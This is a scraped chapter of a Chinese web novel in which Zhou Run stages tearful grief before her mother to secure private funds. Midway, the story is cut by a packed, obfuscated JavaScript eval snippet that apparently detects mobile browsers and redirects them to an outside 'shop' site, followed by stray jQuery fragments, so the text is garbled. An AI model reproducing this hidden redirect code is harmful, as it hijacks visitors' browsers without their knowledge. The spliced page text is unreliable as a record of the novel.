21. 愧疚之情

作品:《草包夫君怎么也是穿来

    屋内,角落一旁点燃的熏香正透过香炉盖子中镂空的花纹逃离出来,逐渐向上盘旋,占据整个房梁。


    冯春明坐在桌前,抄起方才随手盖到凳子上的一把团扇,给自己慢慢摇着风。她今日的心情尚好,昨夜难得睡下,再次睁眼竟然已经到晨曦微亮之际。


    睡眠充足,往日因缺觉而产生的头痛也一并消失,脱离困扰的冯春明好不自在。往日为了治她这失眠焦虑症状,几个丫鬟便是三日一安神汤,五日一大补汤,期间也不忘在屋内熏上凝神安定的沉香木。


    这些外用的熏香与补汤只能是治标不治本,欺骗一下身体的感官就已经达到作用。


    忧思过虑,始终是心病。


    除了她自己以外,谁又能给出一个管用的良方。


    今日未见周润时,冯氏莫名就放下心中大石。在门口将女儿与女婿一并迎入府内后,她更是控制不住地高兴。


    冯春明自顾自地在屋内坐了下来,眼前景象都被丫鬟加大剂量的沉香熏得有些不清。


    “秋笛,你们先出去,我要和泽姝单独聊一会。”


    她分了点眼神给守在门口,想进来又不敢进的那几个丫鬟,抬起握住团扇的手将他们打发出去。


    秋笛目测不过二十岁,干事的利落程度却远超这个年龄的平均水平。她点头“嗯”一声,回应冯春明的指令后便低头看地,退出了屋内。


    周润和张沛民依旧在角落十指相扣着扮演恩爱夫妻,直至房门被秋笛虚掩起来,二人紧握的手才微微松开,假装的外壳有所松动。


    冯氏目送秋笛的离去,手上动作依然不停,团扇随着动作在面前前后摇摆,刻画在扇面上的莲花若隐若现。


    周润拿不准冯春明的态度,只敢拉着张沛民的手一起罚站。她忐忑不安的情绪随着团扇上忽远忽近的莲花飘忽,心头更加没个准信。


    张、周二人竟然就这样如同田间的稻草人一般停留在原地,不说话也不懂,若不是冯氏的眼神时不时往角落飘去,她都要怀疑屋内是否只有她一个人。


    说来也奇怪,张沛民不是周润,他可在丽朝多活了五年的光景,对于这种需要察言观色的场景应当信手拈来。换做往日他肯定直接贴上去,从冯氏今日的衣着打扮夸赞到为人处世,不消半个时辰就能稳稳拿下对方摇曳不定的立场。


    此刻也不知道大脑究竟在想什么,竟然一时间犯了浑,任由周润拖着他站在原地一声不吭。连带着主动开口向岳母问好这种常规的行为都没做出。


    周润眼睛左右滴溜转,原本就有些生锈的大脑被屋内沉闷的熏香压制的困意丛生,更加转不动了。


    他们就这样维持僵硬的局面好一会儿。


    “泽姝,过来坐吧。”


    冯氏用团扇的手柄处敲了敲木头桌面,发出沉闷的一声响,但也足够让屋内的人听清楚异动。


    冯春明主动的一句话给了周润很好的突破口,她正思考着该挽着张的胳膊挪动过去座位,还是应该先状若亲昵的样子与张耳语几句。


    “在我面前,不用装了。”


    生子莫若母,虽然周润并不是冯春明的亲生女儿,但原身是啊。自己这番一反常态的举动落到冯的眼中可不要太明显。


    反正今日也不需要操着恩爱夫妻的人设在周文安此处“骗”来启动资金,这个假面只是留给外面那群不相干的人看罢了。


    周润把原本套在面上浮于表面的假笑收了回去,歪头瞥张一眼,把自己的态度示意清楚便径直往冯春明的方向走去。


    周文安不知道躲到哪里去了,但应当还在府内。今日也算是个大日子,找个借口不出现、不碰面而已还尚且说得过去,要是直接连人都找不到踪迹,那就不是身体抱恙这一个借口可以解释得过去。


    总的来说,那便是人可以不出现,但人不能不在府内,否则冯春明这个当妈的定不会如此淡定地坐在房间内品着茶水,早就四处张罗把周文安给抓回来。


    冯春明再次端起面前已经空无一物的茶杯,丝毫没有查看就往嘴里灌。干涸的口腔并没有得到舒缓,她才意识到杯内的茶水早在方才就被一饮而尽,身旁的丫鬟还未来得及重新添满便随着冯的脚步往门口去。


    她不动声色将茶杯放下,抿了抿因为剧烈起伏的情绪而导致干燥的唇角,开口道,


    “泽姝,嫁人之后,许多事情便由不得自己了。”


    冯春明艰涩开口,却又有些顾忌坐在周润身侧的那位“外人”,到嘴边的询问只能转了个弯,变成苦口婆心劝说女儿从善从良的告诫。


    周润早就料想到今日过来,与周母也好,与周父也罢,是绝对不可能逃脱掉一番询问。


    那日之事到底真假?


    为何要与夫君刀剑相向?


    得到答案后肯定还要苦口婆心全说一句,张家势力宏大,你虽非自愿,但也得顾全大局。


    到了这一步,周润便可以顺着杆子往上爬,适当挤出两滴眼泪哭诉自己当一颗依附在纨绔夫君身上的菟丝花生活得格外困难,家中不帮衬一下实在难以过活。


    话都说到这份上了,周文安就算再顾忌外面的人怎样猜测张、周二家的关系,也舍不得让自己女儿艰苦度日。


    “母亲……”


    她将右手从十指相扣的“囚笼”中抽出,再借着宽大衣袖的遮掩,用指甲在大腿处狠狠掐了一把,让眼中本就泛起的泪花变成豆大的泪滴。


    周润缩在的角落离冯春明所在之处不过十步,她却在这短暂的几步路程中演技大爆发,把自己哭成了一个泪人,将一个心中憋着冤屈无处诉说的女儿完美地展现出来。


    冯春明心痛啊,当即便把周润的手攥起来,原先被自己强行压制下去的感情也被对方这般决堤的宣泄勾了出来,也一并红了眼眶。


    周文安嘱托冯氏传达给周润的那几句话很正常也很普遍,普遍到今日周润派0056去整个京城的世家大族中监视,都能够找到原封不动的句子。


    普遍,但并不温柔。


    冯春明以为,张立勋会为了张家的名声好好待这个强求而来的儿媳,自己今日也无需当一个恶人,只要给周文安传递一下嘱托便可。


    她设想过无数的情景,担忧过周润被张府欺压,假设过周润乐得自在,短短三日,竟然能够在辗转反侧之际把自己骗到,以为女儿应当是上错花轿嫁对郎了。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103959|194354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    即使那些风言风语传到自己耳朵的时候,冯春明还以为只是添油加醋的事情。


    可今日,她看着女儿与女婿一眼就能戳穿的虚情假意,不禁开始怀疑流传的谣言到底真假。


    直到周润这一滴眼泪落下,冯春明便知道,自己编织数日的慰藉之词全是自欺欺人。


    她现在哪里还能心安理得地将周文安过于残忍的嘱托说出口,眼角的泪水也随着周润的动作一并滑落。


    周润背对着张沛民,从他的角度看去就只能发觉坐在原地抽搐的背影,以及丈母娘莫名其妙开始哽咽的声音与通红的眼眶。


    冯春明腾出一只手,从怀中掏出一方鸳鸯手帕,仔细揩尽眼角泪水。


    “你们二人今日舟车劳顿,想必还没吃东西吧。泽姝许久不见母亲有些激动了,她想在此与母亲交谈片刻。不如让门口的秋笛先带你去吃些糕点垫垫肚子?”


    她眼神中带着一丝狠辣,却又很快就消失不见,只留下温柔、惋惜。


    张沛民被接过话茬,“正巧,我也感觉有些饿了。母亲就与娘子在屋内好好叙旧一番吧。”


    说罢,就低头作揖,往门口的方向退了出去。


    待到彻底背对冯氏后,他便在暗处勾起一抹轻笑。


    计划,稳步进行中。


    接下来,便要看你了,周润。


    冯春明虽用手帕揩去面上的泪痕,但情绪依旧未能平复下来。周润的泪水如同决堤的江河,啪嗒掉了好一会儿都未能收住情绪。


    她见周润哭不完的痛苦,心也被揪着,刚刚佯装不在意,把张沛民打发走的外壳又被击碎。


    “泽姝……”


    这两个字从冯氏咬紧的牙齿中冒出来,每一个字的语调都带着自身尖锐的攻击性。仿佛这两个字并不是周润的名字,而是发号施令进攻城池的口令。


    周润感受到冯春明紧握的手捏得更紧了些,身上散发的氛围也不似刚见面那会儿的疏离。


    现在,应当就是最好的时刻。


    她抽抽噎噎地把泪水憋了回去,带着哭腔哽咽两三次才开口说道,


    “母亲,女儿过得好辛苦。”


    每个字都停顿一番,每一个字都如同冰锥一样刺入冯春明的心中,直至内心防线彻底崩塌。


    周润有所把握,冯氏应当不会袖手旁观。


    毕竟,她见原身寻死抗婚后,甚至背着周文安给了自己一笔路费用以私奔。


    冯春明见着自己这般梨花带雨,肯定是不忍心。


    再来,她这般躲着众人,只是与周文安、冯春明私底下偷偷哭诉,丝毫没有把这件事情闹到明面上,周文安处理这件事情也不会从面子不面子,猜忌不猜忌的角度去进行。


    关在屋子里面,只有他们三人的空间,那便是普通父母与女儿的对话。


    自己哭诉一番,说自己过得苦过得累,心疼女儿的父母就悄悄掏出一笔钱来补贴女儿。


    这些,只有他们知道。


    就算隔墙有耳,落入别人眼中,也未必会牵扯到官商勾结上。


    周润的嫁妆未必归属自己。


    周润的私房钱则必定不属于张家。